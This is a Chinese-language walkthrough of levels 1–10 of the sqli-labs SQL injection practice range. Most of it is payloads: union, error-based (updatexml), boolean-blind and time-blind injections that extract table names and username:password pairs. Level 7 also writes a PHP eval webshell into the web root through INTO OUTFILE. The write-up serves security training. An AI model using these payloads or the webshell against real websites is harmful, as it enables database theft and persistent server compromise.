SQL注入-sqli-labs靶场通关

SQL注入-sqli-labs靶场通关

1、单引号闭合 '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1' and 1=1 -- -
1' order by 3 -- -
-1' union select 1,(select database()),3 -- -
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
-1' union select 1,group_concat(username,0x3a,password),3 from users -- -

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 10,1),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) -- -

1' and sleep(5) -- -

2、无闭合,可用联合查询、报错查询、时间盲注

1
-1 union select 1,database(),3 and sleep(6) -- -

3、闭合方式:')
可用联合查询、报错查询、时间盲注

4、闭合方式:")
可用联合查询、报错查询、时间盲注

5、闭合方式:' 可用报错查询、时间盲注
updatexml(目标xml内容,xml文档路径,更新的内容)

1
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -

6、闭合方式:" 与5相同,只是闭合方式不同

7、提示: You are in…. Use outfile……
使用写入一句话木马的方式注入
闭合方式:'))
1’)) and 1=1 – -
1’)) and 1=2 – -
1’)) order by 4 – -
可通过盲注判断,使用写入木马的方式注入
写入条件:mysql.ini配置文件中需要有 secure_file_priv= 配置

1
1')) union select 1,"<?php @eval($_POST[123])?>",3 into outfile "D:\\xx\\xx\\phpStudy\\phpStudy\\PHPTutorial\\WWW\\123.php" -- -

使用蚁剑连接,密码为123

8、提示:You are in………..
闭合方式:'

联合查询和报错注入都不能,只能用盲注

布尔型盲注:

length() 函数 返回字符串的长度

substr() 函数 截取字符串 (语法:substr(str,pos,len);)

ascii() 函数 返回字符的ascii码 [将字符变为数字]

时间型盲注:

sleep() 函数 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果第一个语句错误执行第三个语句 。

查询:

数据库名:security

表名:emails

字段名:id

image

payload:

1
2
3
4
5
6
7
8
9
10
11
12
1' and 1=1 -- -
1' and 1=2 -- -
1' order by 3 -- -
1' order by 4 -- -
1' and length(database())>10 -- -
1' and length(database())=8 -- -
1' and ascii(substr(database(),1,1))=115 -- -
1' and ascii(substr(database(),2,1))=101 -- -
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 -- -
1' and ascii(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105 -- -
1' and ascii(substr((select id from emails limit 0,1),1,1))=105 -- -
1' and ascii(substr((select id from emails limit 0,1),1,1))=49 -- -

9、提示:You are in………..

通过如下语句判断闭合方式,延时之后确认闭合方式是:'

1
2
1 and sleep(5) -- -
1' and sleep(5) -- -

按照上一关盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用 时间盲注

payload:

1
2
3
4
5
6
7
8
9
10
数据库名长度:
1' and if(length(database())=8,sleep(5),1) -- qwe
利用ASCII码猜解方式获取当前数据库名称:
1' and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- - 延时,说明数据库名称第一位是s
猜解表名:
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - 延时,说明数据库表名的第一个的第一位是e
猜解字段名:
1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - 如果返回正常,说明emails表中的列名称第一位是i
猜解数据:
1' and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- - 如果返回正常,说明id列中的列名称第一位是1

10、提示:You are in………..

通过如下语句判断闭合方式,延时之后确认闭合方式是:'

1
2
3
1 and sleep(5) -- -
1' and sleep(5) -- -
1" and sleep(5) -- -

按照上一关盲注的手法,做法跟之前是一样的,只是闭合的区别,注入方式还是使用 时间盲注

payload:

1
2
3
4
5
6
7
8
9
10
数据库名长度:
1" and if(length(database())=8,sleep(5),1) -- qwe
利用ASCII码猜解方式获取当前数据库名称:
1" and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- -
猜解表名:
1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- -
猜解字段名:
1" and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- -
猜解数据:
1" and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- -